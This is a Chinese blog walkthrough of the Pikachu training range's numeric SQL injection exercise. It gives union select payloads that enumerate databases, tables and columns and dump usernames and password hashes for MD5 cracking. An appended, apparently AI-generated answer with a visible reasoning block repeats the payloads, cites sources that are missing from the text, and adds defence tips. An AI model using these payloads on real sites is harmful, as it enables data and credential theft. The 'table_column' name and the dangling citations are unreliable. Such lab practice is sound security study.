pikachu靶场练习——数字型注入

本文详细讲述了如何利用Burpsuite进行SQL数字型注入的实验,包括类型判断、字段数探测,以及利用union select获取数据库信息的过程。通过实例演示了如何利用这些技术来评估系统安全并了解数据库结构。

burpsuite未安装完成,不涉及抓包相关内容

前置内容

由于网页的生成有时需要用到用户输入的信息,再根据用户输入到数据库中查找相关内容,所以网页中会含有sql语句。针对sql语句,可以进行sql注入。

如:
$sql="SELECT * FROM news WHERE id={$id}";
这样的语句可以进行数字型注入。

题目实战

打开靶场,选择sql数字型注入题,出现以下页面。
下拉栏中有选项 ---以及数字1~6。
000
选择数字一先发送个请求试试:
001
可以看到发送的表单中id:1
然后发现可以在检查中修改option的value值,以达到注入内容的目的。

首先输入1 and 1=1和1 and 1=2进行类型判断
002
003

将内容1 and 1=1带入语句,
可以得到$sql="SELECT * FROM news WHERE id=1 and 1=1";
即sql语句为SELECT * FROM news WHERE id=1 and 1=1
可以发现检查没有语法错误,并返回了查找值
将内容1 and 1=2带入语句,
可以得到SELECT * FROM news WHERE id=1 and 1=2
同样检查没有语法错误,但最后句子判断结果为假,返回找不到。

and语句要求前后全为真。
SELECT * FROM news WHERE id=1为真,可以返回搜索结果。
1=1为真,1=2为假;

判断结果为数字型注入(无语法错误)并且可以注入(两次结果不同)。

然后判断字段数
sql语句order by num可以按第num列排列数据,当num大于实际存在的字段数的时候,会报错。
构造输入1 order by 2并提交,通过1闭合标签,order by 2判断是否存在两个字段。
004
005
正常查询,字段数大于等于2。
构造输入1 order by 3
006
提交后发现报错,字段数小于3。
综上,字段数为2。
由于union联合查询要求前后字段数一致,所以判断字段数是必要的。
以下通过union select挖掘其他信息。

  • 输入1 union select database(),user()
    查找当前数据库名称和查询用户,结果如下:007
    第一组为id=1的查询结果,第二组是通过联合查询获得的内容;
    其中pikachu为数据库名称,root@localhost是用户名

  • 输入1 union select table_name,table_schema from information_schema.tables where table_schema='pikachu'

    information_schema 是MySQL自带的数据库,用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
    通过访问information_schema.tables,获得数据表的元数据信息:
    table_schema: 记录数据库名;
    table_name: 记录数据表名;

    获得了该数据库中有以下表:008

  • 尝试获取users中内容
    1 union select table_column,2 from information_schema.columns where table_name='users'
    可以看到表中有如下字段:009

    补充:这里2占位是必须的,如果省略则与前面字段数不同
    结果如下“:010

  • 查看字段username和password:
    1 union select username,password from users
    011

  • 然后通过MD5解码获得密码
    在这里插入图片描述

同理可获取其他表的内容。


以下补充说明获取httpinfo的情况
  • 获取列名
    013
  • 获取具体信息
    在这里插入图片描述
    发现没有获取任何内容。
  • 直接通过MySQL管理窗口查找httpinfo
    在这里插入图片描述
    在这里插入图片描述
    可以发现是空的。


    同样查询其他几个表,发现只有member和users两个表有内容,其他三个都是空表。
<think>好的,用户需要关于Pikachu靶场数字型SQL注入的实验教程。首先,我得回忆一下Pikachu靶场的结构,数字型注入和字符型注入的区别。数字型通常不需要闭合引号,直接注入即可。用户提供的引用中提到了使用'union select等语句,但数字型可能不需要单引号。 接下来,我需要整理实验步骤。首先应该搭建环境,确保Pikachu靶场已经部署好。然后找到数字型注入的入口,比如可能是某个查询参数是数字类型的页面。比如用户信息查询,参数是id=1这样的形式。 然后,测试注入点。使用1 and 1=1和1 and 1=2来判断是否存在注入漏洞。如果页面返回不同,说明存在漏洞。之后确定字段数,用order by来猜测列数。接着联合查询,获取数据库信息,比如数据库名、表名、列名,最后提取数据。 要注意引用用户提供的例子,比如使用database()函数获取数据库名,还有information_schema.columns来获取列信息。需要确保语法正确,比如闭合注释符--+或者-- -。 另外,用户可能需要防御建议,比如参数化查询,过滤输入等。还要生成相关问题,可能涉及其他类型的注入、工具使用或防范措施。 需要检查步骤是否清晰,是否符合实际操作,以及是否正确应用了引用中的示例。确保使用正确的LaTeX格式,变量用$...$,独立公式用$$...$$。同时用中文回答,结构分明,步骤详细。</think>### Pikachu靶场数字型SQL注入实验教程 #### 一、实验准备 1. 部署Pikachu靶场环境(推荐使用PHPStudy+源码包) 2. 访问数字型注入漏洞模块:`/vul/sqli/sqli_id.php` #### 二、注入步骤演示 1. **判断注入点** 输入`1 and 1=1`返回正常,`1 and 1=2`返回异常,说明存在数字型注入漏洞[^1]。 2. **确定字段数** 通过`order by`逐步测试: ```sql 1 order by 2--+ # 正常 1 order by 3--+ # 报错 ``` 确认字段数为2列。 3. **联合查询获取信息** ```sql 1 union select database(),2--+ # 获取当前数据库名pikachu ``` 4. **提取表结构** ```sql 1 union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu'--+ # 获取users等表名[^2] ``` 5. **获取敏感数据** ```sql 1 union select username,password from pikachu.users--+ # 提取账户密码哈希值 ``` #### 三、关键语法说明 - 数字型注入无需闭合引号,直接拼接SQL - `information_schema`系统库存储元数据[^2] - `group_concat()`函数聚合查询结果 - 注释符`--+`或`#`截断后续语句 #### 四、防御建议 1. 使用预处理语句: ```php $stmt = $pdo->prepare("SELECT * FROM table WHERE id = ?"); $stmt->execute([$id]); ``` 2. 强制类型转换:`intval($_GET['id'])` 3. 设置数据库最小权限原则
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值